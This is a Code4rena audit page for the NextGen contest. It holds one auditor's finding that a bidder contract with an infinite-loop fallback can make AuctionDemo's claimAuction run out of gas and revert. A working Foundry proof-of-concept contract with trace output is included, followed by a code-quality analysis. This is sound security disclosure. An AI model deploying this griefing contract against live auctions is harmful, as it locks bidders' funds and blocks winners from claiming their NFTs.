Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 80/243
Findings: 2
Award: $30.46
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
2.7688 USDC - $2.77
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L143 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L115-L118
Auction participants may lose all their money and winner won't receive his NFT.
This may happen because when we transfer nft to winner we additionally return all values to owners. (I.e. cancel bid).
Issue here is that participant might be contract with infinite loop inside. So, when auction ended and winner determined, he may lose all his gas and transaction will be reverted.
Possible case:
fallback
function has only infinite cycle make a bid;} else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
fallback() external payable { for(;;) { } }
And obviously will fail due to out of gas.
I've wrote simple test for this:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "../src/Counter.sol"; import "../src/AuctionDemo.sol"; import "../src/ERC721.sol"; import "../src/NextGenCore.sol"; import "../src/MinterContract.sol"; contract AliceBadPranker { auctionDemo private auction; constructor(auctionDemo _auction) payable { auction = _auction; } function doBid() public { auction.participateToAuction{value:1}(1234); } fallback() external payable { for(;;) { } } } contract AuctionTest is Test { auctionDemo private auction; address private minter = address(0x001); address private gencore = address(0x002); address private adminContract = address(0x003); address private alice = makeAddr("alice"); address private bob = makeAddr("bob"); address private artist = makeAddr("artist"); function setUp() public { auction = new auctionDemo(minter, gencore, adminContract); vm.warp(100); vm.deal(alice, 1_000); vm.deal(bob, 1_000); // mock vm.mockCall(minter, abi.encodeWithSelector(NextGenMinterContract.getAuctionEndTime.selector), abi.encode(block.timestamp + 100) ); vm.mockCall(minter, abi.encodeWithSelector(NextGenMinterContract.getAuctionStatus.selector), abi.encode(true) ); vm.mockCall(gencore, abi.encodeWithSelector(ERC721.ownerOf.selector, 1234), abi.encode(artist) ); vm.mockCall(gencore, abi.encodeWithSelector(ERC721.transferFrom.selector, artist, bob, 1234), abi.encode(true) ); } function testParticipate() public { vm.startPrank(alice); AliceBadPranker badPranker = new AliceBadPranker{value:10}(auction); badPranker.doBid(); vm.startPrank(bob); auction.participateToAuction{value: 1_000}(1234); vm.warp(500); auction.claimAuction{gas: 1_000_000}(1234); // will fail out of gas } }
this will be reverted with out of gas error:
% forge test -vvv [⠒] Compiling... No files changed, compilation skipped Running 1 test for test/Auction.t.sol:AuctionTest [FAIL. Reason: EvmError: Revert] testParticipate() (gas: 1286439) Traces: [1286439] AuctionTest::testParticipate() ├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) │ └─ ← () ├─ [63418] → new AliceBadPranker@0xC8501479803c58592eF3Be0beABBEE22e3377C08 │ └─ ← 205 bytes of code ├─ [102152] AliceBadPranker::doBid() │ ├─ [92347] auctionDemo::participateToAuction{value: 1}(1234) │ │ ├─ [0] PRECOMPILE::ecrecover(930e79f100000000000000000000000000000000000000000000000000000000000004d2) [staticcall] │ │ │ └─ ← 0x00000000000000000000000000000000000000C8 │ │ ├─ [0] PRECOMPILE::ecrecover(7765c52c00000000000000000000000000000000000000000000000000000000000004d2) [staticcall] │ │ │ └─ ← 0x0000000000000000000000000000000000000001 │ │ └─ ← () │ └─ ← () ├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) │ └─ ← () ├─ [70528] auctionDemo::participateToAuction{value: 1000}(1234) │ ├─ [0] PRECOMPILE::ecrecover(930e79f100000000000000000000000000000000000000000000000000000000000004d2) [staticcall] │ │ └─ ← 0x00000000000000000000000000000000000000C8 │ ├─ [0] PRECOMPILE::ecrecover(7765c52c00000000000000000000000000000000000000000000000000000000000004d2) [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000001 │ └─ ← () ├─ [0] VM::warp(500) │ └─ ← () ├─ [992154] auctionDemo::claimAuction(1234) │ ├─ [0] PRECOMPILE::ecrecover(930e79f100000000000000000000000000000000000000000000000000000000000004d2) [staticcall] │ │ └─ ← 0x00000000000000000000000000000000000000C8 │ ├─ [0] PRECOMPILE::ecrecover(7765c52c00000000000000000000000000000000000000000000000000000000000004d2) [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000001 │ ├─ [0] PRECOMPILE::sha256(6352211e00000000000000000000000000000000000000000000000000000000000004d2) [staticcall] │ │ └─ ← 0x0000000000000000000000008802b7f0bfa5e9f5825f2fc708e1ad00d2c2b5d6 │ ├─ [939776] AliceBadPranker::fallback{value: 1}() │ │ └─ ← "EvmError: OutOfGas" │ ├─ emit Refund(_add: AliceBadPranker: [0xC8501479803c58592eF3Be0beABBEE22e3377C08], tokenid: 1234, status: false, funds: 1000) │ ├─ [108] PRECOMPILE::sha256(42842e0e0000000000000000000000008802b7f0bfa5e9f5825f2fc708e1ad00d2c2b5d60000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e00000000000000000000000000000000000000000000000000000000000004d2) │ │ └─ ← 0x0d3c45814ca72ef8f095ac0e87a54447a8d2a1823d870bdd59b383c89c9e6af1 │ └─ ← "EvmError: OutOfGas" └─ ← "EvmError: Revert" Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.35ms Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Manual review, Foundry
At the first change AuctionDemo structure:
Don't use just extended array list. It will cause to DDos (attacker can send a lot of transactions, and next participant may pay extremely large amount for gas). So, instead of just list use double linked list. This gives you possibility to remove/add/find winner with complexity = O(1).
Do not return money for other participants. Only owner should be withdraw his either back.
Make function claimAuction
open for anyone.
ETH-Transfer
#0 - c4-pre-sort
2023-11-15T09:04:17Z
141345 marked the issue as duplicate of #843
#1 - c4-pre-sort
2023-11-16T13:35:45Z
141345 marked the issue as duplicate of #486
#2 - c4-judge
2023-12-01T22:53:51Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T22:54:04Z
alex-ppg marked the issue as duplicate of #1782
#4 - c4-judge
2023-12-08T23:15:03Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 3th, Fulum, JohnnyTime, K42, Kose, SAAJ, Toshii, catellatech, cats, clara, digitizeworx, dimulski, dy, glcanvas, hunter_w3b, ihtishamsudo, niki, peanuts
27.6948 USDC - $27.69
The overall quality of the codebase for NextGen can be classified as "Need work".
At the first want to notice curious contracts usage. All contracts and interfaces placed in single folder without any division. Current approach significantly decrease readability. Better split it into
Next item to notice is code formatting. Devs should follow widely used code style. To resolve this problem either use IntelliJ IDEA formatting or npm plugin.
Another one issue is copy-paste OpenZeppelin Contracts, for this purpose better to use Hardhat or Foundry.
Last one is naming. Use UpperCamelCase for contracts and lowerCamelCase for modifiers. Moreover, contract's name should be the same as file name.
And the last one current contracts implementation doesn't have corresponding interfaces for easily code navigation.
To evaluate an audit code base was used:
At the first want to note NextGenAdmins
contract, from my point of view current idea of authority
is one of the best, because:
Another contracts divided correctly. Each of them does only what it needed to do, and nothing more.
But idea to mint next element based on MinIndex and
Supply collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
is
bad, because such approach adds more cases to make mistake during copy-paste. Better will be adding
view function to Core contract, which returns next token to mint
like function nextTokenToMint(uint256 _collectionId)
, and reverts if collection is full.
Next bad pattern is Core contract during mint relays in Mint contract. In current implementation all
is correct, and corner cases handled normally, but in future version from minter contract some
checks might be removed occasionally this leads to overflow variable collectionCirculationSupply
.
Current project is significantly centralized. This means that a lot of function can be called only by owner or trusted admins. This is not a good way to resolve possible issues. And, for example, collections can be created by anyone or artist. Moreover, collections details might be filled by artist too. Because in core users might create up to 10_000_000_000 collections.
Let's sum up:
NextGen is system of contracts, which can create and hande multiple ERC721 collections.
Core contract handles multiple ERC721 collections in single contract.
This achieved by mapping collectionId
on single line of tokenIds
. Each collection has own
continuous interval.
This restricts amount of collections up to 10_000_000_000, this is more than enough.
It gives possibility to:
Moreover, during minting users can calculate their token hash based on random. These handles during calling one of randomizer. Current workflow is:
Then, another cornerstone is Minter contract. This contract linked with Core contract and processes minting, burning tokens for corresponding collections.
Minter contract has different possibility to mint, via:
Next, minter gives possibility to distribute reward to artist and team.
To buy NFT users need to send a bit of ether to contract. Price estimation lies on this contract too.
Price can be either increase salesOption = 3
or decrease salesOption = 2 & allowList stage
or
be constant collectionMintCost
.
price = offset + r * X
, where X
is circulation
;price = initialPrice / time
.30 hours
#0 - c4-pre-sort
2023-11-27T14:58:07Z
141345 marked the issue as sufficient quality report
#1 - c4-judge
2023-12-07T16:51:01Z
alex-ppg marked the issue as grade-b